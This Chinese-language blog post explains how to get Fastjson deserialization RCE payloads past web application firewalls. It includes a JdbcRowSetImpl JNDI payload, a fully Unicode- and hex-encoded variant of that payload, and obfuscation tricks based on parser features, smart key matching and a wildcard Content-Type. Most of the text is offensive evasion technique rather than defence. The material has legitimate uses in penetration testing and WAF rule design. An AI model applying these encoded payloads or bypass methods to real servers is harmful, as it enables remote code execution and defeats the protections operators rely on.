前言
  Fastjson是一个阿里巴巴开发的java高性能JSON库,应用范围非常广。虽然其性能强、适配性高,但是也出现过相关RCE缺陷。
相关的安全设备针对相关的poc设计了相关的匹配规则,例如@type、becl关键字等,从而达到一定的防护效果。
Waf Bypass思路
除了一些常用的思路,例如http 0.9协议等,主要思路是对相关的poc关键字进行混淆,达到绕过waf语义分析的效果。
Unicode/Hex编码绕过
查看fastjson源码,JSONLexerBase.scanSymbol
这个函数是fastjson用来处理json字符串的函数,部分关键部分代码如下:
java
case'u':
char c1=this.next();
char c2=this.next();
char c3=this.next();
char c4=this.next();
int val=Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);
hash=31*hash+val;
this.putChar((char)val);
break;
case'x':
char x1=this.ch=this.next();
char x2=this.ch=this.next();
int x_val=digits[x1]*16+digits[x2];
char x_char=(char)x_val;
hash=31*hash+x_char;
this.putChar(x_char);
当输入的字符是形如\u
或者\x
的情况下fastjson是会对其进行解码操作的,fastjson支持字符串的Unicode编码和十六进制编码。例如对下列payload进行改造:
json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
可以对初始进行混合编码进行绕过(这里是多重编码的场景):
json
{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}
结合Feature词法分析器进行混淆绕过
FastJson在序列化和反序列化的过程中提供了很多特性,例如Feature.DisableFieldSmartMatch。如果没有选择该Feature,那么在反序列的过程中,FastJson会自动把下划线命名的Json字符串转化到驼峰式命名的Java对象字段中。(1.2.30引入)
以1.2.24版本为例,查看常用的解析方法,在对json文本进行解析时,一般会使用JSON.parse(text),默认配置如下:
java
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
DEFAULT_PARSER_FEATURE是一个缺省默认的feature配置:
java
public static int DEFAULT_PARSER_FEATURE;
static {
int features = 0;
features |= Feature.AutoCloseSource.getMask();
features |= Feature.InternFieldNames.getMask();
features |= Feature.UseBigDecimal.getMask();
features |= Feature.AllowUnQuotedFieldNames.getMask();
features |= Feature.AllowSingleQuotes.getMask();
features |= Feature.AllowArbitraryCommas.getMask();
features |= Feature.SortFeidFastMatch.getMask();
features |= Feature.IgnoreNotMatch.getMask();
DEFAULT_PARSER_FEATURE = features;
}
可以通过Fature类的isEnabled方法来判断相关的Feature是否开启:
```java
package com.alibaba.fastjson.parser;
public enum Feature
{
AutoCloseSource, AllowComment, AllowUnQuotedFieldNames, AllowSingleQuotes, InternFieldNames, AllowISO8601DateFormat, AllowArbitraryCommas, UseBigDecimal, IgnoreNotMatch, SortFeidFastMatch, DisableASM, DisableCircularReferenceDetect, InitStringFieldAsEmpty, SupportArrayToBean, OrderedField, DisableSpecialKeyDetect, UseObjectArray, SupportNonPublicField;
public final int mask;
private Feature()
{
this.mask = (1 << ordinal());
}
public final int getMask()
{
return this.mask;
}
public static boolean isEnabled(int features, Feature feature)
{
return (features & feature.mask) != 0;
}
......
}
```
下面根据常见的Feature看看有什么可以进行混淆的方式。
* AllowSingleQuotes
AllowSingleQuotes
特性决定parser是否允许单引号来包住属性名称和字符串值。
那么可以使用单引号替代双引号,配合编码或者其他方式进行混淆绕过waf语义分析:
* AllowArbitraryCommas
AllowArbitraryCommas
特性允许多重逗号。那么可以在多个属性之间引入多个逗号,
,进行混淆:
* AllowComment
AllowComment
该特性决定parser将是否允许解析使用Java/C++ 样式的注释(包括'/'+'*' 和'//' 变量)。
可以通过插入相关的注释进行混淆,也可以构造超长数据包的方式进行Bypass:
利用FastJson智能匹配进行混淆绕过
FastJSON存在智能匹配的特性,即使JavaBean中的字段和JSON中的key并不完全匹配,在一定程度上还是可以正常解析的。主要是在JavaBeanDeserializer.smartMatch
方法进行实现。假设当前UserBean的属性如下,可以利用智能匹配的特性,可以尝试使用如下方法对key进行混淆:
java
private String name;
private Integer age;
* 使用-
和_
进行混淆
FastJSON会对JSON中没有成功映射JavaBean的key做智能匹配,在反序列的过程中会忽略大小写和下划线,自动会把下划线命名的Json字符串转化到驼峰式命名的Java对象字段中。
查看1.2.24版本,部分关键部分代码如下,主要是在JavaBeanDeserializer.smartMatch
方法:
java
if (fieldDeserializer == null)
{
snakeOrkebab = false;
key2 = null;
char ch;
for (i = 0; i < key.length(); i++)
{
ch = key.charAt(i);
if (ch == '_')
{
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
}
if (ch == '-')
{
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
也就是说可以分别使用-
和_
来对payload进行混淆:
(1) 使用-
混淆字段名:
(2) 使用_
混淆字段名:
(3) 使用-
和_
组合:
在1.2.36版本及后续版本,对智能匹配方法进行了修改,部分具体代码如下,具体处理方法在TypeUtils.fnv1a_64_lower
:
java
public FieldDeserializer smartMatch(String key, int[] setFlags)
{
if (key == null) {
return null;
}
FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);
if (fieldDeserializer == null)
{
long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
if (this.smartMatchHashArray == null)
{
long[] hashArray = new long[this.sortedFieldDeserializers.length];
for (int i = 0; i < this.sortedFieldDeserializers.length; i++) {
hashArray[i] = TypeUtils.fnv1a_64_lower(this.sortedFieldDeserializers[i].fieldInfo.name);
}
Arrays.sort(hashArray);
this.smartMatchHashArray = hashArray;
}
查看TypeUtils.fnv1a_64_lower
的具体实现,这里忽略字母大小写和-
和_
:
java
public static long fnv1a_64_lower(String key)
{
long hashCode = -3750763034362895579L;
for (int i = 0; i < key.length(); i++)
{
char ch = key.charAt(i);
if ((ch != '_') && (ch != '-'))
{
if ((ch >= 'A') && (ch <= 'Z')) {
ch = (char)(ch + ' ');
}
hashCode ^= ch;
hashCode *= 1099511628211L;
}
}
return hashCode;
}
也就是说1.2.36版本及后续版本还可以支持同时使用_
和-
进行组合混淆:
除此之外还可以以此作为依据进行简单的fastjson版本判断。
* 使用is开头的key字段
除此之外,Fastjson在做智能匹配时,如果key以is
开头,则忽略is
开头,相关代码如下:
java
int pos = Arrays.binarySearch(this.smartMatchHashArray, smartKeyHash);
if ((pos < 0) && (key.startsWith("is")))
{
smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
pos = Arrays.binarySearch(this.smartMatchHashArray, smartKeyHash);
}
例如如下例子,在原始JavaBean属性age和name基础上,在JSON key加入is仍可正常解析:
修改 Content-Type
Content-Type(MediaType),即是Internet Media Type,互联网媒体类型,也叫做MIME类型。在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。常见的有:
* application/x-www-form-urlencoded:最常见POST提交数据的方式。
* multipart/form-data:文件上传的数据提交方式。
* application/xml:XML数据提交方式。
* application/json:作为请求头告诉服务端消息主体是序列化的JSON字符串。
某些Waf考虑到解析效率的问题,会根据Content-Type
的内容进行针对性的拦截分析,例如值为appliction/xml
时会进行XXE的检查,那么可以尝试将Content-Type设置为通配符“*/*
来绕过相关的检查:
同理对application/json
Content-Type的请求,也可以尝试将Content-Type设置为通配符“*/*
来绕过相关的检查:
结语
综上所述,可以对相关的poc进行混淆,达到绕过相关waf安全检查的效果,例如下图:
除此之外还有很多别的特性,例如fastjson并不会强制key与JavaBean属性对齐,那么可以结合waf资源限制的角度再次进行混淆,达到绕过的效果:
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论